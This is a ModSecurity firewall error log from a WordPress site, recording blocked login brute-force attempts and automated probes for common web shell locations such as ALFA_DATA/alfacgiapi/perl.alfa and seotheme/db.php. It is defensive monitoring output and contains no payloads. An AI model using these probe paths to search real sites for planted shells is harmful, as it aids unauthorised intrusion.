[Wed Mar 25 05:34:30.417226 2026] [:error] [pid 754:tid 771] [client 148.72.173.218:52645] [client 148.72.173.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.72.173.218, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "acMDZjisL3asPbA3Cti3qAAAAAY"]
[Wed Mar 25 05:34:30.417344 2026] [:error] [pid 754:tid 771] [client 148.72.173.218:52645] [client 148.72.173.218] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 148.72.173.218 on wp-login.php, counter = 11"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "acMDZjisL3asPbA3Cti3qAAAAAY"]
[Wed Mar 25 07:38:37.965143 2026] [:error] [pid 754:tid 778] [client 45.94.31.15:52681] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-plain.php"] [unique_id "acMgfTisL3asPbA3CtjOFgAAAA0"], referer: www.google.com
[Wed Mar 25 07:38:37.965201 2026] [:error] [pid 754:tid 770] [client 45.94.31.15:52369] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgfTisL3asPbA3CtjOFQAAAAU"], referer: www.google.com
[Wed Mar 25 07:38:37.965401 2026] [:error] [pid 754:tid 775] [client 45.94.31.15:52384] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acMgfTisL3asPbA3CtjOFwAAAAo"]
[Wed Mar 25 07:38:37.969284 2026] [:error] [pid 47946:tid 47970] [client 45.94.31.15:53000] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMgfTipQTqBMSeKYhcXAQAAARY"], referer: www.google.com
[Wed Mar 25 07:38:38.455885 2026] [:error] [pid 26269:tid 26294] [client 45.94.31.15:58410] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMgfkn7e-ZQbaIs7qx-zQAAAZI"], referer: www.google.com
[Wed Mar 25 07:38:38.457617 2026] [:error] [pid 756:tid 870] [client 45.94.31.15:55867] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acMgfjOaW6oylMIDBCTE1AAAAJI"]
[Wed Mar 25 07:38:38.458783 2026] [:error] [pid 754:tid 773] [client 45.94.31.15:55864] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-plain.php"] [unique_id "acMgfjisL3asPbA3CtjOJQAAAAg"], referer: www.google.com
[Wed Mar 25 07:38:38.460344 2026] [:error] [pid 47946:tid 47954] [client 45.94.31.15:55868] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgfjipQTqBMSeKYhcXBgAAAQY"], referer: www.google.com
[Wed Mar 25 07:38:38.699325 2026] [:error] [pid 26269:tid 26288] [client 45.94.31.15:53233] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMgfkn7e-ZQbaIs7qx-1gAAAYw"], referer: www.google.com
[Wed Mar 25 07:38:38.951771 2026] [:error] [pid 756:tid 874] [client 45.94.31.15:58501] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acMgfjOaW6oylMIDBCTE6gAAAJY"]
[Wed Mar 25 07:38:38.951990 2026] [:error] [pid 756:tid 857] [client 45.94.31.15:58755] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-plain.php"] [unique_id "acMgfjOaW6oylMIDBCTE6wAAAIU"], referer: www.google.com
[Wed Mar 25 07:38:38.959701 2026] [:error] [pid 26269:tid 26280] [client 45.94.31.15:59278] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgfkn7e-ZQbaIs7qx-4QAAAYQ"], referer: www.google.com
[Wed Mar 25 07:38:39.196572 2026] [:error] [pid 755:tid 840] [client 45.94.31.15:51402] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMgf6S6bdaeEwgCGwpLfwAAAFE"], referer: www.google.com
[Wed Mar 25 07:38:39.446784 2026] [:error] [pid 47946:tid 47953] [client 45.94.31.15:62310] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acMgfzipQTqBMSeKYhcXFgAAAQU"]
[Wed Mar 25 07:38:39.447450 2026] [:error] [pid 756:tid 873] [client 45.94.31.15:60961] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-plain.php"] [unique_id "acMgfzOaW6oylMIDBCTE-QAAAJU"], referer: www.google.com
[Wed Mar 25 07:38:39.457347 2026] [:error] [pid 47946:tid 47972] [client 45.94.31.15:62886] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgfzipQTqBMSeKYhcXFwAAARg"], referer: www.google.com
[Wed Mar 25 07:38:39.694606 2026] [:error] [pid 26321:tid 26340] [client 45.94.31.15:53704] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMgf_KO65qqGZCSPZqwRwAAAgE"], referer: www.google.com
[Wed Mar 25 07:38:39.935941 2026] [:error] [pid 756:tid 857] [client 45.94.31.15:60514] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acMgfzOaW6oylMIDBCTFDQAAAIU"]
[Wed Mar 25 07:38:39.941362 2026] [:error] [pid 756:tid 873] [client 45.94.31.15:60804] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-plain.php"] [unique_id "acMgfzOaW6oylMIDBCTFDwAAAJU"], referer: www.google.com
[Wed Mar 25 07:38:39.945866 2026] [:error] [pid 756:tid 864] [client 45.94.31.15:61293] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgfzOaW6oylMIDBCTFEgAAAIw"], referer: www.google.com
[Wed Mar 25 07:38:39.947825 2026] [:error] [pid 26269:tid 26286] [client 45.94.31.15:58455] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMgf0n7e-ZQbaIs7qx-7wAAAYo"], referer: www.google.com
[Wed Mar 25 07:38:40.933087 2026] [:error] [pid 26320:tid 26379] [client 45.94.31.15:53893] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMggDkUgS2mHAojGnl4TwAAAdc"], referer: www.google.com
[Wed Mar 25 07:38:40.969935 2026] [:error] [pid 26320:tid 26372] [client 45.94.31.15:62508] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMggDkUgS2mHAojGnl4UgAAAdA"], referer: www.google.com
[Wed Mar 25 07:38:41.940955 2026] [:error] [pid 47946:tid 47953] [client 45.94.31.15:56458] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMggTipQTqBMSeKYhcXXQAAAQU"], referer: www.google.com
[Wed Mar 25 07:38:41.976805 2026] [:error] [pid 892:tid 911] [client 45.94.31.15:49200] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMggST_G8WMU3T3yxpObgAAAM0"], referer: www.google.com
[Wed Mar 25 07:38:42.942062 2026] [:error] [pid 754:tid 778] [client 45.94.31.15:56169] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMggjisL3asPbA3CtjOggAAAA0"], referer: www.google.com
[Wed Mar 25 07:38:42.980407 2026] [:error] [pid 756:tid 864] [client 45.94.31.15:58014] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMggjOaW6oylMIDBCTFbgAAAIw"], referer: www.google.com
[Wed Mar 25 07:38:43.965301 2026] [:error] [pid 26269:tid 26285] [client 45.94.31.15:52382] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMgg0n7e-ZQbaIs7qx_gAAAAYk"], referer: www.google.com
[Wed Mar 25 07:38:43.980532 2026] [:error] [pid 47989:tid 48011] [client 45.94.31.15:53360] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acMggyWKdJMhIccROjmedwAAAVQ"], referer: www.google.com
[Wed Mar 25 07:38:44.965842 2026] [:error] [pid 755:tid 835] [client 45.94.31.15:64230] [client 45.94.31.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "acMghKS6bdaeEwgCGwpMOwAAAEw"], referer: www.google.com
[Wed Mar 25 08:35:34.400084 2026] [:error] [pid 754:tid 765] [client 43.140.247.223:42840] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acMt1jisL3asPbA3CtjULgAAAAA"]
[Wed Mar 25 10:48:19.566380 2026] [:error] [pid 26449:tid 26454] [client 136.144.35.4:53287] [client 136.144.35.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.4, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "acNM89pZ2T15NDqzAjEKVAAAAkE"]
[Wed Mar 25 15:01:55.243529 2026] [:error] [pid 47989:tid 48012] [client 209.87.169.233:65059] [client 209.87.169.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.233, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "acOIYyWKdJMhIccROjlJTQAAAVU"]
[Wed Mar 25 15:34:10.626663 2026] [:error] [pid 25967:tid 25990] [client 158.158.96.10:54814] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zcsu.php"] [unique_id "acOP8vg8Qtq7ZM4mSFn1wwAAA1I"]
[Wed Mar 25 15:34:11.528834 2026] [:error] [pid 47989:tid 48005] [client 158.158.96.10:41635] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zcsu.php"] [unique_id "acOP8yWKdJMhIccROjlWxgAAAU4"]
[Wed Mar 25 15:34:12.304209 2026] [:error] [pid 25875:tid 25889] [client 158.158.96.10:63174] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zcsu.php"] [unique_id "acOP9BJ38QkS3NyfshywGAAAAog"]
[Wed Mar 25 15:34:13.130916 2026] [:error] [pid 892:tid 905] [client 158.158.96.10:64283] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zcsu.php"] [unique_id "acOP9ST_G8WMU3T3yxqy4QAAAMc"]
[Wed Mar 25 15:34:13.926902 2026] [:error] [pid 25967:tid 25979] [client 158.158.96.10:64307] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acOP9fg8Qtq7ZM4mSFn1zQAAA0c"]
[Wed Mar 25 15:34:14.655617 2026] [:error] [pid 25875:tid 25892] [client 158.158.96.10:41663] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acOP9hJ38QkS3NyfshywGwAAAos"]
[Wed Mar 25 15:34:16.221815 2026] [:error] [pid 25875:tid 25890] [client 158.158.96.10:54790] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acOP-BJ38QkS3NyfshywHAAAAok"]
[Wed Mar 25 15:34:17.384503 2026] [:error] [pid 26321:tid 26357] [client 158.158.96.10:59887] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acOP-fKO65qqGZCSPZoQDwAAAhA"]
[Wed Mar 25 15:34:18.033716 2026] [:error] [pid 26449:tid 26471] [client 158.158.96.10:41198] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cxs.php"] [unique_id "acOP-tpZ2T15NDqzAjFUlAAAAlI"]
[Wed Mar 25 15:34:19.240445 2026] [:error] [pid 892:tid 894] [client 158.158.96.10:40536] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cxs.php"] [unique_id "acOP-yT_G8WMU3T3yxqy7gAAAMA"]
[Wed Mar 25 15:34:19.988581 2026] [:error] [pid 25967:tid 25992] [client 158.158.96.10:64259] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cxs.php"] [unique_id "acOP-_g8Qtq7ZM4mSFn10gAAA1Q"]
[Wed Mar 25 15:34:21.006459 2026] [:error] [pid 25875:tid 25893] [client 158.158.96.10:64258] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cxs.php"] [unique_id "acOP_RJ38QkS3NyfshywIAAAAow"]
[Wed Mar 25 15:34:21.748078 2026] [:error] [pid 25969:tid 26047] [client 158.158.96.10:50697] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-scanner.php"] [unique_id "acOP_Rd3aEUmOfdKja_vTgAAA9U"]
[Wed Mar 25 15:34:22.461027 2026] [:error] [pid 25969:tid 26027] [client 158.158.96.10:40560] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-scanner.php"] [unique_id "acOP_hd3aEUmOfdKja_vUAAAA8E"]
[Wed Mar 25 15:34:23.368992 2026] [:error] [pid 26321:tid 26343] [client 158.158.96.10:64303] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-scanner.php"] [unique_id "acOP__KO65qqGZCSPZoQFQAAAgQ"]
[Wed Mar 25 15:34:24.160892 2026] [:error] [pid 25969:tid 26049] [client 158.158.96.10:62466] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-scanner.php"] [unique_id "acOQABd3aEUmOfdKja_vUwAAA9c"]
[Wed Mar 25 15:34:25.168824 2026] [:error] [pid 26449:tid 26473] [client 158.158.96.10:5865] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "acOQAdpZ2T15NDqzAjFUlwAAAlQ"]
[Wed Mar 25 15:34:25.865522 2026] [:error] [pid 26321:tid 26352] [client 158.158.96.10:62502] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "acOQAfKO65qqGZCSPZoQGgAAAgs"]
[Wed Mar 25 15:34:26.533299 2026] [:error] [pid 892:tid 915] [client 158.158.96.10:41604] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "acOQAiT_G8WMU3T3yxqy8wAAANE"]
